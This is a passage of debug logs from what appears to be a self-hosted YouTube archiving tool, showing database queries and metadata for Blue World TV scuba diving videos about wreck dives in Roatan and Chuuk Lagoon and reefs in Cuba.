Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "duration" => 1539, "filename" => "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", "id" => "oBz4K-WfOfA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oBz4K-WfOfA", "playlist_index" => 8, "timestamp" => 1763823697, "title" => "DEEP Wreck Dive on Roatan with DiveTalk!", "upload_date" => "20251122"} 19:02:00.968 [debug] QUERY OK source="sources" db=0.5ms idle=1746.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:00.969 [debug] QUERY OK source="sources" db=0.4ms idle=1747.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:00.972 [debug] QUERY OK source="media_items" db=2.2ms idle=1056.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 15:01:37Z], 34] 19:02:00.973 [debug] QUERY OK source="media_items" db=1.0ms idle=58.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "c3505f29-7c8f-4c46-a414-669eadc134f9", "oBz4K-WfOfA", false, "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, [], 1539, false, 8, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, false, 98, ~U[2025-11-22 15:01:37Z], ~U[2026-06-02 23:02:00Z], ~U[2026-06-02 23:02:00Z], "Jonathan and Todd venture to Roatan to join the 2025 DiveTalk Meetup where they make new friends and do some great dives on their DiveTalk Go rebreathers! Not only do they have some amazing reef dives, but the do a 200 foot trimix dive on the wreck of the Josie J.\n\nSeason 10 of Jonathan Bird's Blue World is made possible by the Bharat Family Foundation.\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #wreckdiving #rebreather \n\nChapters:\n0:00 Intro\n3:30 First Dive\n11:04 Pool Sessions\n12:56 Wreck Dive Intro\n17:24 Start of Wreck Dive\n24:55 Summary/credits", "DEEP Wreck Dive on Roatan with DiveTalk!", "oBz4K-WfOfA", "https://www.youtube.com/watch?v=oBz4K-WfOfA", 34, 1539, false, "/downloads/rory/BlueWorldTV/2025-11-22 DEEP Wreck Dive on Roatan with DiveTalk!/DEEP Wreck Dive on Roatan with DiveTalk! [oBz4K-WfOfA].mp4", false, ~U[2025-11-22 15:01:37Z]] 19:02:00.974 [debug] QUERY OK source="sources" db=0.1ms idle=55.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:00.974 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:00.974 [debug] QUERY OK source="media_items" db=0.2ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119028] 19:02:00.975 [debug] Current batch of media processed. Will check again in 1000ms 19:02:01.975 [debug] Current batch of media processed. Will check again in 1000ms 19:02:02.976 [debug] Current batch of media processed. Will check again in 1000ms 19:02:03.977 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "duration" => 2163, "filename" => "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", "id" => "h2NPGc12V-4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=h2NPGc12V-4", "playlist_index" => 9, "timestamp" => 1761400868, "title" => "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "upload_date" => "20251025"} 19:02:03.978 [debug] QUERY OK source="sources" db=0.2ms idle=1756.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:03.978 [debug] QUERY OK source="sources" db=0.1ms idle=1756.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:03.979 [debug] QUERY OK source="media_items" db=0.9ms idle=1757.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 14:01:08Z], 34] 19:02:03.984 [debug] QUERY OK source="media_items" db=4.0ms idle=1062.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "f95ce507-1156-4aeb-901c-bacfd606ec95", "h2NPGc12V-4", false, "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, [], 2163, false, 9, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, false, 98, ~U[2025-10-25 14:01:08Z], ~U[2026-06-02 23:02:03Z], ~U[2026-06-02 23:02:03Z], "Jonathan and Todd team up with rock guitarist John Wesley and travel to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the second in a series of five episodes coming from our Chuuk expedition. \n\nThe wrecks explored in this segment are the Nippo Maru, Sankisan Maru and Rio Dejaneiro Maru.\n\nThis is PART 2 of the Chuuk adventure. Did you see PART 1?\nhttps://youtu.be/N1tKGFoW7W8\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out @TheJourneymanGuitarist to learn about John Wesley's work!\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n#rebreather \n#wreckdiving \n\nChapters:\n0:00 Intro\n1:48 Getting to Chuuk\n5:15 About the Battle\n6:18 Our adventure begins\n8:35 Our first wreck: Nippo Maru\n18:28 Evening fun\n20:52 Our second wreck: Sankisan Maru\n26:42 Our Third Wreck: Rio Dejaneiro Maru\n35:12 Close and credits", "Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]", "h2NPGc12V-4", "https://www.youtube.com/watch?v=h2NPGc12V-4", 34, 2163, false, "/downloads/rory/BlueWorldTV/2025-10-25 Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2]/Diving Shipwrecks of Chuuk (Truk) Lagoon with a ROCK STAR! [Part 2] [h2NPGc12V-4].mp4", false, ~U[2025-10-25 14:01:08Z]] 19:02:03.984 [debug] QUERY OK source="sources" db=0.2ms idle=65.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:03.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:02:03.985 [debug] QUERY OK source="media_items" db=0.2ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [119030] 19:02:03.985 [debug] Current batch of media processed. Will check again in 1000ms 19:02:04.986 [debug] Current batch of media processed. Will check again in 1000ms 19:02:05.987 [debug] Current batch of media processed. Will check again in 1000ms 19:02:06.988 [debug] Current batch of media processed. Will check again in 1000ms 19:02:07.989 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jonathan and Christine visit the marine protected area of Jardines de la Reina (Gardens of the Queen) in Cuba on board the Jardines Aggressor diving yacht to see how the reefs of the Caribbean looked 30 years ago!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cuba #scuba \n\nChapters:\n0:00 Intro\n1:45 Arrive on the Boat\n4:16 First Dive\n11:09 Night Dive\n12:20 Land Excursion\n13:50 Another Dive\n16:55 Summary and Close", "duration" => 1085, "filename" => "/downloads/rory/BlueWorldTV/2025-09-06 Diving the Pristine Reefs of CUBA!/Diving the Pristine Reefs of CUBA! [s0KGNqDNyDk].mp4", "id" => "s0KGNqDNyDk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=s0KGNqDNyDk", "playlist_index" => 10, "timestamp" => 1757167282, "title" => "Diving the Pristine Reefs of CUBA!", "upload_date" => "20250906"} 19:02:07.990 [debug] QUERY OK source="sources" db=0.3ms idle=768.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:02:07.990 [debug] QUERY OK source="sources" db=0.3ms idle=768.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:07.992 [debug] QUERY OK source="media_items" db=1.6ms idle=769.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-06 14:01:22Z], 34] 19:02:07.994 [debug] QUERY OK 